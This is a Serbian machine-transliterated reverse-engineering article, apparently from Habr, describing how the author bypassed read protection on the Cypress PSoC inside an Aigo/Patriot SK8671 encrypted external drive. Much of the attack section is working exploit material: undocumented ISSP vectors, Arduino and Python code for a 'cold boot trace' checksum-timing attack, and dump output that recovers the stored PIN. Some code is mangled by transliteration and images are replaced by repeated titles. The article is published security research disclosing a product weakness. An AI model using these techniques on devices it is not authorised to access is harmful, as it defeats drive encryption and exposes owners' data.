Преокретање и хаковање Аиго екстерног ХДД диска који се самошифрује. Део 2: Узимање из Ципресс ПСоЦ-а

Ово је други и последњи део чланка о хаковању екстерних самошифрујућих дискова. Да вас подсетим да ми је колега недавно донео Патриот (Аиго) СК8671 хард диск, а ја сам одлучио да га преокренем, а сада делим шта је из њега испало. Пре него што прочитате даље, обавезно прочитајте Први део чланци.

4. Почињемо да узимамо думп са унутрашњег ПСоЦ флеш диска
5. ИССП протокол
– 5.1. Шта је ИССП
– 5.2. Демистифиинг Вецторс
– 5.3. Комуникација са ПСоЦ-ом
– 5.4. Идентификација регистара на чипу
– 5.5. Сигурносни битови
6. Први (неуспели) напад: РОМКС
7. Други напад: праћење хладног покретања
– 7.1. Имплементација
– 7.2. Читање резултата
– 7.3. Фласх бинарна реконструкција
– 7.4. Проналажење адресе за складиштење ПИН кода
– 7.5. Узимање депоније блока бр.126
– 7.6. Опоравак ПИН кода
8. Шта је следеће?
9. Закључак

Преокретање и хаковање Аиго екстерног ХДД диска који се самошифрује. Део 2: Узимање из Ципресс ПСоЦ-а


4. Почињемо да узимамо думп са унутрашњег ПСоЦ флеш диска

Дакле, све указује (као што смо установили у [првом делу]()) да је ПИН код ускладиштен у дубинама флеша ПСоЦ-а. Стога, морамо да прочитамо ове дубине блица. Предњи део неопходних радова:

  • преузети контролу над „комуникацијом“ са микроконтролером;
  • пронаћи начин да проверите да ли је ова „комуникација“ заштићена од читања споља;
  • пронаћи начин да заобиђете заштиту.

Постоје два места на којима има смисла тражити важећи ПИН код:

  • интерна флеш меморија;
  • СРАМ, где се пин код може сачувати да би се упоредио са пин кодом који је унео корисник.

Гледајући унапред, приметићу да сам ипак успео да направим думп интерног ПСоЦ флеш диска - заобилазећи његов безбедносни систем користећи хардверски напад који се зове „праћење хладног покретања“ – након што сам преокренуо недокументоване могућности ИССП протокола. Ово ми је омогућило да директно избацим стварни ПИН код.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Коначни програмски код:

5. ИССП протокол

5.1. Шта је ИССП

„Комуникација“ са микроконтролером може значити различите ствари: од „продавца до добављача“ до интеракције помоћу серијског протокола (на пример, ИЦСП за Мицроцхип ПИЦ).

Ципресс има свој сопствени протокол за ово, назван ИССП (протокол серијског програмирања у систему), који је делимично описан у Техничка спецификација. Патент УС7185162 такође даје неке информације. Постоји и ОпенСоурце еквивалент који се зове ХССП (користићемо га мало касније). ИССП ради на следећи начин:

  • ребоот ПСоЦ;
  • избаци магични број на пин серијских података овог ПСоЦ-а; за улазак у режим екстерног програмирања;
  • шаљите команде, које су дуги низови битова који се називају "вектори".

ИССП документација дефинише ове векторе за само мали број команди:

  • Инитиализе-1
  • Инитиализе-2
  • Инитиализе-3 (3В и 5В опције)
  • ИД-СЕТУП
  • РЕАД-ИД-ВОРД
  • СЕТ-БЛОЦК-НУМ: 10011111010дддддддд111, где је дддддддд=блок #
  • БУЛК ЕРАСЕ
  • ПРОГРАМ-БЛОК
  • ВЕРИФИ-СЕТУП
  • РЕАД-БИТЕ: 10110ааааааЗДДДДДДДДЗ1, где је ДДДДДДДД = излаз података, аааааа = адреса (6 битова)
  • ВРИТЕ-БИТЕ: 10010ааааааддддддд111, где је дддддддд = подаци у, аааааа = адреса (6 битова)
  • СЕЦУРЕ
  • КОНТРОЛНА СУМА-СЕТУП
  • РЕАД-ЦХЕЦКСУМ: 10111111001ЗДДДДДДДДЗ110111111000ЗДДДДДДДДЗ1, где је ДДДДДДДДДДДДДДДД = излаз података: контролни збир уређаја
  • ЕРАСЕ БЛОЦК

На пример, вектор за Инитиализе-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Сви вектори имају исту дужину: 22 бита. ХССП документација има неке додатне информације о ИССП-у: „ИССП вектор није ништа друго до низ битова који представља скуп инструкција.“

5.2. Демистифиинг Вецторс

Хајде да схватимо шта се овде дешава. У почетку сам претпоставио да су ти исти вектори сирове верзије М8Ц инструкција, али након провере ове хипотезе, открио сам да се кодови операција не поклапају.

Онда сам прогуглао вектор изнад и наишао ево га студија у којој аутор, иако не улази у детаље, даје неке корисне савете: „Свака инструкција почиње са три бита који одговарају једној од четири мнемонике (читање из РАМ-а, писање у РАМ, читање регистра, писање регистра). Затим постоји 8 битова адресе, затим 8 битова података (читање или писање) и на крају три стоп бита."

Тада сам успео да извучем неке веома корисне информације из одељка Супервисори РОМ (СРОМ). технички приручник. СРОМ је тврдо кодирани РОМ у ПСоЦ-у који пружа помоћне функције (на сличан начин као Сисцалл) за програмски код који се покреће у корисничком простору:

  • 00х:СВБоотРесет
  • 01х: РеадБлоцк
  • 02х: ВритеБлоцк
  • 03х: ЕрасеБлоцк
  • 06х: Табле Реад
  • 07х: ЦхецкСум
  • 08х: Калибрација0
  • 09х: Калибрација1

Упоређивањем имена вектора са СРОМ функцијама, можемо мапирати различите операције које подржава овај протокол у очекиване СРОМ параметре. Захваљујући томе, можемо декодирати прва три бита ИССП вектора:

  • 100 => “врем”
  • 101 => “рдмем”
  • 110 => “врег”
  • 111 => “рдрег”

Међутим, потпуно разумевање процеса на чипу може се добити само директном комуникацијом са ПСоЦ-ом.

5.3. Комуникација са ПСоЦ-ом

Пошто је већ Дирк Петрауцки портед Ципрессов ХССП код на Ардуину, користио сам Ардуино Уно да се повежем на ИССП конектор на тастатури.

Имајте на уму да сам током свог истраживања прилично променио Дирков код. Моју модификацију можете пронаћи на ГитХуб-у: овде и одговарајућу Питхон скрипту за комуникацију са Ардуином, у мом спремишту ципресс_псоц_тоолс.

Дакле, користећи Ардуино, прво сам користио само „званичне“ векторе за „комуникацију“. Покушао сам да прочитам интерни РОМ користећи команду ВЕРИФИ. Као што се очекивало, нисам успео да урадим ово. Вероватно због чињенице да су битови за заштиту од читања активирани унутар флеш диска.

Затим сам направио неколико својих једноставних вектора за писање и читање меморије/регистра. Имајте на уму да можемо прочитати цео СРОМ иако је флеш диск заштићен!

5.4. Идентификација регистара на чипу

Након што сам погледао „растављене“ векторе, открио сам да уређај користи недокументоване регистре (0кФ8-0кФА) за спецификацију М8Ц кодова операција, који се извршавају директно, заобилазећи заштиту. Ово ми је омогућило да покренем различите опкодове као што су "АДД", "МОВ А, Кс", "ПУСХ" или "ЈМП". Захваљујући њима (гледајући нежељене ефекте које имају на регистре) успео сам да утврдим који су од недокументованих регистара заправо регуларни регистри (А, Кс, СП и ПЦ).

Као резултат тога, „растављени“ код који генерише алатка ХССП_дисас.рб изгледа овако (додао сам коментаре ради јасноће):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Сигурносни битови

У овој фази већ могу да комуницирам са ПСоЦ-ом, али још увек немам поуздане информације о безбедносним битовима флеш диска. Био сам веома изненађен чињеницом да Ципресс не пружа кориснику уређаја никакво средство да провери да ли је заштита активирана. Копао сам дубље у Гоогле да бих коначно схватио да је ХССП код који је дао Ципресс ажуриран након што је Дирк објавио своју модификацију. И тако! Појавио се овај нови вектор:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Користећи овај вектор (погледајте реад_сецурити_дата у псоц.пи), добијамо све безбедносне битове у СРАМ-у на 0к80, где постоје два бита по заштићеном блоку.

Резултат је депресиван: све је заштићено у режиму „онемогући екстерно читање и писање“. Дакле, не само да не можемо ништа да читамо са флеш диска, већ не можемо ништа ни да пишемо (на пример, да тамо инсталирамо РОМ дампер). А једини начин да онемогућите заштиту је да потпуно избришете цео чип. 🙁

6. Први (неуспели) напад: РОМКС

Међутим, можемо испробати следећи трик: пошто имамо могућност да извршимо произвољне опкодове, зашто не бисмо извршили РОМКС, који се користи за читање флеш меморије? Овај приступ има добре шансе за успех. Зато што функција РеадБлоцк која чита податке са СРОМ-а (који користе вектори) проверава да ли је позвана из ИССП-а. Међутим, РОМКС опкод вероватно неће имати такву проверу. Дакле, ево Питхон кода (након додавања неколико помоћних класа у Ардуино код):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Нажалост, овај код не ради. 🙁 Тачније ради, али на излазу добијамо сопствене кодове (0к28 0к30 0к40)! Не мислим да је одговарајућа функционалност уређаја елемент заштите од читања. Ово више личи на инжењерски трик: када се извршавају екстерни опкодови, РОМ магистрала се преусмерава на привремени бафер.

7. Други напад: праћење хладног покретања

Пошто РОМКС трик није успео, почео сам да размишљам о другој варијанти овог трика - описано је у публикацији „Баца превише светла на заштиту фирмвера микроконтролера“.

7.1. Имплементација

Документација ИССП-а пружа следећи вектор за ПОДЕШАВАЊЕ КОНТРОЛЕ:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ово у суштини позива СРОМ функцију 0к07, као што је представљено у документацији (курзив мој):

Ова функција провера контролне суме. Он израчунава 16-битну контролну суму броја кориснички специфицираних блокова у једној флеш банци, почевши од нуле. Параметар БЛОЦКИД се користи за прослеђивање броја блокова који ће се користити приликом израчунавања контролне суме. Вредност "1" ће израчунати само контролни збир за нулти блок; док "0" ће узроковати да се израчуна укупна контролна сума свих 256 блокова флеш банке. 16-битни контролни збир се враћа преко КЕИ1 и КЕИ2. Параметар КЕИ1 чува 8 битова нижег реда контролне суме, а КЕИ2 параметар чува 8 битова високог реда. За уређаје са неколико флеш банака, функција контролне суме се позива за сваки посебно. Број банке са којом ће радити се поставља регистром ФЛС_ПР1 (постављањем бита у њему који одговара циљној флеш банци).

Имајте на уму да је ово једноставна контролна сума: бајтови се једноставно додају један за другим; нема фенси ЦРЦ-а. Поред тога, знајући да језгро М8Ц има веома мали скуп регистара, претпоставио сам да ће приликом израчунавања контролне суме, међувредности бити забележене у истим варијаблама које ће на крају ићи на излаз: КЕИ1 (0кФ8) / КЕИ2 ( 0кФ9).

Дакле, у теорији мој напад изгледа овако:

  1. Повезујемо се преко ИССП-а.
  2. Почињемо израчунавање контролне суме помоћу вектора ЦХЕЦКСУМ-СЕТУП.
  3. Поново покрећемо процесор након одређеног времена Т.
  4. Читамо РАМ да бисмо добили тренутни контролни збир Ц.
  5. Поновите кораке 3 и 4, сваки пут мало повећавајући Т.
  6. Опорављамо податке са флеш диска одузимањем претходне контролне суме Ц од тренутног.

Међутим, постоји проблем: вектор Инитиализе-1 који морамо да пошаљемо након поновног покретања замењује КЕИ1 и КЕИ2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Овај код замењује нашу драгоцену контролну суму позивањем Цалибрате1 (СРОМ функција 9)... Можда можемо само да пошаљемо магични број (са почетка кода изнад) да уђемо у режим програмирања, а затим прочитамо СРАМ? И да, ради! Ардуино код који имплементира овај напад је прилично једноставан:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Прочитај цхецкум_делаи.
  2. Покрените израчунавање контролне суме (сенд_цхецксум_в).
  3. Сачекајте одређени временски период; узимајући у обзир следеће замке:
    • Губио сам много времена док нисам сазнао шта се испоставило делаиМицросецондс ради исправно само са кашњењима која не прелазе 16383 μс;
    • а затим поново убио исто толико времена док нисам открио да кашњење микросекунде, ако му се 0 преда као улаз, ради потпуно погрешно!
  4. Поново покрените ПСоЦ у режим програмирања (само шаљемо магични број, без слања вектора иницијализације).

Коначни код у Питхон-у:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Укратко, шта овај код ради:

  1. Поново покреће ПСоЦ (и шаље му магични број).
  2. Шаље пуне векторе иницијализације.
  3. Позива Ардуино функцију Цмнд_СТК_СТАРТ_ЦСУМ (0к85), где се кашњење у микросекундама преноси као параметар.
  4. Чита контролни збир (0кФ8 и 0кФ9) и недокументовани регистар 0кФ1.

Овај код се извршава 10 пута у 1 микросекунди. 0кФ1 је укључен овде јер је то био једини регистар који се променио приликом израчунавања контролне суме. Можда је то нека врста привремене променљиве коју користи аритметичко-логичка јединица. Обратите пажњу на ружан хак који користим да ресетујем Ардуино користећи пицоцом када Ардуино престане да показује знаке живота (немам појма зашто).

7.2. Читање резултата

Резултат Питхон скрипте изгледа овако (поједностављено ради читљивости):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Имајући то у виду, имамо проблем: пошто радимо са стварном контролном сумом, нул бајт не мења прочитану вредност. Међутим, пошто цела процедура израчунавања (8192 бајта) траје 0,1478 секунди (са малим варијацијама сваки пут када се покрене), што је једнако приближно 18,04 μс по бајту, можемо да искористимо ово време да проверимо вредност контролне суме у одговарајуће време. За прве вожње све се очитава прилично лако, пошто је трајање рачунског поступка увек готово исто. Међутим, крај овог думп-а је мање прецизан јер се „мања одступања времена“ при свакој вожњи сабирају и постају значајна:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

То је 10 думпова за сваку микросекунду кашњења. Укупно време рада за избацивање свих 8192 бајта флеш диска је око 48 сати.

7.3. Фласх бинарна реконструкција

Још нисам завршио писање кода који ће у потпуности реконструисати програмски код флеш диска, узимајући у обзир сва временска одступања. Међутим, већ сам вратио почетак овог кода. Да бих био сигуран да сам то урадио исправно, раставио сам га користећи м8цдис:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Изгледа сасвим уверљиво!

7.4. Проналажење адресе за складиштење ПИН кода

Сада када можемо да прочитамо контролни збир у време које нам је потребно, можемо лако да проверимо како и где се мења када:

  • унесите погрешан ПИН код;
  • промените пин код.

Прво, да бих пронашао приближну адресу складиштења, направио сам думп контролне суме у корацима од 10 мс након поновног покретања. Онда сам унео погрешан ПИН и урадио исто.

Резултат није био баш пријатан, јер је било много промена. Али на крају сам успео да утврдим да се контролни збир променио негде између 120000 µс и 140000 µс кашњења. Али „пинкод“ који сам тамо приказао био је потпуно нетачан - због артефакта процедуре делаиМицросецондс, која ради чудне ствари када јој се проследи 0.

Затим, након што сам провео скоро 3 сата, сетио сам се да СРОМ системски позив ЦхецкСум прима аргумент као улаз који одређује број блокова за контролни збир! То. лако можемо локализовати адресу складиштења ПИН кода и бројача „нетачних покушаја“, са тачношћу до блока од 64 бајта.

Моје почетне вожње дале су следеће резултате:

Преокретање и хаковање Аиго екстерног ХДД диска који се самошифрује. Део 2: Узимање из Ципресс ПСоЦ-а

Затим сам променио ПИН код из "123456" у "1234567" и добио:

Преокретање и хаковање Аиго екстерног ХДД диска који се самошифрује. Део 2: Узимање из Ципресс ПСоЦ-а

Тако се чини да су ПИН код и бројач погрешних покушаја ускладиштени у блоку број 126.

7.5. Узимање депоније блока бр.126

Блок #126 би требало да се налази негде око 125к64к18 = 144000μс, од почетка израчунавања контролне суме, у мом пуном депонију, и изгледа прилично уверљиво. Затим, након што сам ручно одбацио бројне неважеће депоније (због акумулације „мањих временских одступања“), на крају сам добио ове бајтове (са кашњењем од 145527 μс):

Преокретање и хаковање Аиго екстерног ХДД диска који се самошифрује. Део 2: Узимање из Ципресс ПСоЦ-а

Сасвим је очигледно да се ПИН код чува у нешифрованом облику! Ове вредности, наравно, нису записане у АСЦИИ кодовима, али, како се испоставило, одражавају очитавања са капацитивне тастатуре.

Коначно, извршио сам још неколико тестова да пронађем где је сачуван бројач лоших покушаја. Ево резултата:

Преокретање и хаковање Аиго екстерног ХДД диска који се самошифрује. Део 2: Узимање из Ципресс ПСоЦ-а

0кФФ - значи "15 покушаја" и смањује се са сваким неуспелим покушајем.

7.6. Опоравак ПИН кода

Ево мог ружног кода који спаја горе наведено:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Ево резултата његовог извршења:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ура! Извођење радова!

Имајте на уму да су вредности кашњења које сам користио вероватно релевантне за један одређени ПСоЦ - онај који сам користио.

8. Шта је следеће?

Дакле, хајде да сумирамо на страни ПСоЦ-а, у контексту нашег Аиго погона:

  • можемо читати СРАМ чак и ако је заштићен од читања;
  • Можемо заобићи заштиту против превлачења користећи напад праћења хладног покретања и директно читање ПИН кода.

Међутим, наш напад има неке недостатке због проблема са синхронизацијом. Може се побољшати на следећи начин:

  • напишите услужни програм за исправно декодирање излазних података који се добијају као резултат "цолд боот траце" напада;
  • користите ФПГА гаџет за креирање прецизнијих временских кашњења (или користите Ардуино хардверске тајмере);
  • покушајте са другим нападом: унесите намерно нетачан ПИН код, рестартујте и избаците РАМ, надајући се да ће тачан ПИН код бити сачуван у РАМ-у ради поређења. Међутим, то није тако лако урадити на Ардуину, пошто је ниво сигнала Ардуино 5 волти, док плоча коју испитујемо ради са сигналима од 3,3 волта.

Једна занимљива ствар која би се могла испробати је поигравање са нивоом напона да би се заобишла заштита читања. Ако би овај приступ функционисао, могли бисмо да добијемо апсолутно тачне податке са флеш диска – уместо да се ослањамо на читање контролне суме са непрецизним временским кашњењима.

Пошто СРОМ вероватно чита заштитне битове преко РеадБлоцк системског позива, могли бисмо да урадимо исту ствар као opisano на блогу Дмитрија Недоспасова - реимплементација напада Криса Герлинског, најављена на конференцији "РЕцон Брисел 2017".

Још једна забавна ствар која би могла да се уради је да се одвоји кућиште од чипа: да се направи СРАМ думп, идентификује недокументоване системске позиве и рањивости.

9. Закључак

Дакле, заштита овог драјва оставља много да се пожели, јер користи обичан (не „очврснути“) микроконтролер за чување ПИН кода... Плус, нисам (још) погледао како се ствари одвијају са подацима шифровање на овом уређају!

Шта можете препоручити за Аиго? Након анализе неколико модела шифрованих ХДД дискова, направио сам 2015 презентација на СиСцан-у, у којем је испитао безбедносне проблеме неколико екстерних ХДД дискова и дао препоруке шта би се на њима могло побољшати. 🙂

Провео сам два викенда и неколико вечери радећи ово истраживање. Укупно око 40 сати. Рачунајући од самог почетка (када сам отворио диск) до краја (дамп ПИН кода). Истих 40 сати укључује време које сам потрошио на писање овог чланка. Било је то веома узбудљиво путовање.

Извор: ввв.хабр.цом

Додај коментар